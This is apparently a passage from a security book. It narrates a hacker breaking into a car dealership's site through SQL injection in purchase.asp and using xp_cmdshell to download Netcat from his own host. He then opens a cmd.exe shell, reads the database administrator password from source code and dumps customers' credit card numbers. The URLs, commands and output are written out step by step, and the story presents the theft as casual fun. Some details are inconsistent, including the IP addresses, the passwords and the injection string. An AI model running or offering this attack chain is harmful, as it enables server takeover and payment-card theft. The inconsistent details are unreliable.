A Used Car Dealership Is Hacked

Jack's late night frustration with a buffer overflow he was writing set him on edge, causing him to snap back at his roommate over even the smallest irritations. Finally his friend told him to take a rest, to do something else and the answer would come. So Jack decided to get on the Google search engine and look for the car he always wanted, a BMW 740IL, black. The first three or four Web sites didn't have any in stock. As he continued, his frustration grew until suddenly he stumbled across a local car dealership's Web site. He searched its lot inventory and found a black BMW on the lot. The search engine reports back: a 1999 740IL in excellent condition for $35,000. Jack was excited until he saw the price, which was significantly more than he could pay. So he decided to take his frustrations out on someone other than his roommate.

Input Validation

Input validation is essential to prevent unchecked user data from being used in order to get the Web server and its database to reveal sensitive information. As Jack looks over the search results that the car dealership provided, he notices something interesting: The Web site is designed to pass the query parameters via the URL

http://192.168.0.6/purchase.asp?ID=1

as shown in Figure 11-2.

Figure 11-2. List of database records in response to the query of ID=1

graphics/11fig02.gif

As Jack can see, the only parameter to the ASP file is the ID field. He assumes that the ID field is actually a unique identifier for each record in the inventory table or database, so he tries a few alterations:

http://192.168.0.6/purchase.asp?ID=2

http://192.168.0.6/purchase.asp?ID=3

The results are shown in Figure 11-3.

Figure 11-3. Altering the ID parameter to retrieve new database records

graphics/11fig03.gif

Sure enough, the database is sending all the records in a particular table, one after the next (2, 3). But this information is hardly exciting, so Jack tries an SQL trick for getting the database to pull up all the records in the table (appending a "; OR 1=1--" to the URL):

http://192.168.0.6/purchase.asp?ID=2%20OR%201=1--

Figure 11-4 shows the results.

Figure 11-4. Using the universal SQL truism of "OR 1=1" allows display of all records in the database

graphics/11fig04.gif

And it works! Jack is able to show all the cars available on the lot by telling the SQL server that the ASP page wanted everything. He did so by using an underlying maxim in SQL that 1=1 is always true and appending it to the SQL statement. The ending double dash (--) is an SQL comment operator that tells the engine to ignore everything after the double dash, thereby erasing any part of the query that would have followed it.

So Jack used this ASP code:

SQL = "SELECT * FROM inventory WHERE inventoryID=" & Request.QueryString("ID")

Set RS = Conn.Execute(SQL)

This is what the code became when he submitted "; OR 1=1" at the end of the ID field and executed it:

SQL = "SELECT * FROM inventory WHERE inventoryID=ID OR 1=1

As a result, everything in the table (inventory) is retrieved, not just the entry with an ID of 1. Even though Jack likes what he sees, he knows that he can not take it much farther. So he tries the best of attacks, attempting to execute the xp_cmdshell extended stored procedure. The xp_cmdshell allows commands to be executed within a command shell, so an action can be performed as the logged in database user (which is typically "sa," the administrator of the SQL database). So he tries the first step, to upload Netcat (nc.exe) to the remote database system. (Note: We present more information about Netcat in Chapter 15). Netcat allows Jack to create a tunnel into the database server to do anything he desires.

First he tries to upload nc.exe with the following URL:

http://192.168.0.6/purchase.asp?ID=2;%20EXEC%20master..xp_cmdshell'tftp%20i%20192.168.0.8%20GET%20nc.exe%20c:\nc.exe'

The result is shown in Figure 11-5.

Figure 11-5. Forcing the database to execute commands with a single URL

graphics/11fig05.gif

It worked! Jack thinks, but how can he really tell? Well, the Web server responded normally, which is what should occur. But Jack needs to take the next step and execute nc.exe and open a port to connect to:

http://192.168.0.6/purchase.asp?ID=1;EXEC%20master..xp_cmdshell%20'c:\nc.exe -n

-L -p 2000 -e cmd.exe'"

If all goes well, he can use Netcat on his system to connect to the database server and gain a command prompt on the remote side:

C:\> nc 192.168.0.9 2000

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig

ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix  . : oc.cox.net

  IP Address. . . . . . . . . . . . : 192.168.0.9

  Subnet Mask . . . . . . . . . . . : 255.255.255.0

  Default Gateway . . . . . . . . . : 192.168.0.1

The hack worked! Jack is now in as an administrator on the Windows system and can do anything he wants. Well, almost anything. What he really wants is further access to the database to garner the true trophy: credit card numbers. So he pokes around a bit in the Netcat shell for osql, the handy command line SQL query tool. But he can't find it. The developer must have removed it after installation (what a rarity). So Jack decides to upload osql.exe to the database server and dump any credit card numbers he can find.

His first step is to upload osql.exe with the same technique he used earlier to upload nc.exe. Now, with osql.exe in hand he searches for the key: the "sa" password. He knows that most Web servers store passwords in the global.asa file on IIS, so he goes to the C:\INETPUB\WWWROOT directory looking for it without success. Then he remembers that the purchase.asp file must have it in the script's code so that it can query the database. He searches for the file by using:

C:\> dir purchase.asp /s

dir purchase.asp /s

 Volume in drive C has no label.

 Volume Serial Number is C456-EAF2

 Directory of C:\Inetpub\web

04/28/2002  06:29p  671 purchase.asp

  1 File(s)  671 bytes

He finds it in the C:\inetpub\web directory, the home directory of the primary Web server. He looks for the keyword "ConnectionString" in the purchase.asp file and sees the "sa" password:

C:\Inetpub\web> findstr /i "connectionstring" purchase.asp

Session("ConnectionString") = "Provider=SQLOLEDB.1; dsn=localhost; uid=sa; pwd=password;

APP=ASP Script; initial catalog=web"

Conn.Open Session("ConnectionString")

Now Jack uses his uploaded osql.exe program to enumerate the database:

C:\> osql  U sa  P password  Q "exec sp_help"

C:\> osql  U sa  P password  Q "exec sp_tables"

C:\> osql  U sa  P password  Q "select * from information_schema.tables"

Finally, he spots the target table, Accounts, and uses one more osql command to capture his prize:

C:\Inetpub\web> osql -d web -U sa -P blah -Q "select firstname, lastname, creditcard,

expiration from accounts"

firstname  lastname  creditcard  expiration

 ---------- ---------- ---------------- -----------------------

 Stuart  McClure  4202401082819495 2002-11-01 00:00:00.000

 Jim   Smith  4330182957489102 2003-03-01 00:00:00.000

 Bob  Grouch  4102324201928574 2004-04-01 00:00:00.000

(3 rows affected)

Jack has had enough fun for one day.